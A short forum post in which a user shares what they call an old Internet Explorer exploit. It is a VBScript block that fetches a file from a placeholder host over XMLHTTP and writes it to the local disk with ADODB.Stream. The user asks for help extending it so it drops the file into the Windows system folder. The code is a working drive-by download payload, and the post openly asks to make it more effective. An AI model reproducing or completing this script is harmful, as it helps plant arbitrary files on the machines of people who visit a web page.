Hi all Im just playing around with this old ie exploit (its only working local)
<script language=vbs>
set oHTTP = CreateObject("msxml2.XMLHTTP")
oHTTP.open "GET", "http://yoursite/file", False
oHTTP.send
set oStream = createobject("adodb.stream")
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
oStream.type = adTypeBinary
oStream.open
oStream.write oHTTP.responseBody
oStream.savetofile "c:\folder\file ", adSaveCreateOverWrite
</script>
With this it is not possible to save a file to a folder that doesnt exists so i need a script to determine if the windows folder is c:\winnt or c:\windows and then save the file to one of these folders, is it possible ?
Thanks for any help i can get
|
Page 1 of 1
Need Help With Some Vbscript save file to windir
#4
|
Our Sponsors: |

Sign In
Register
Help
MultiQuote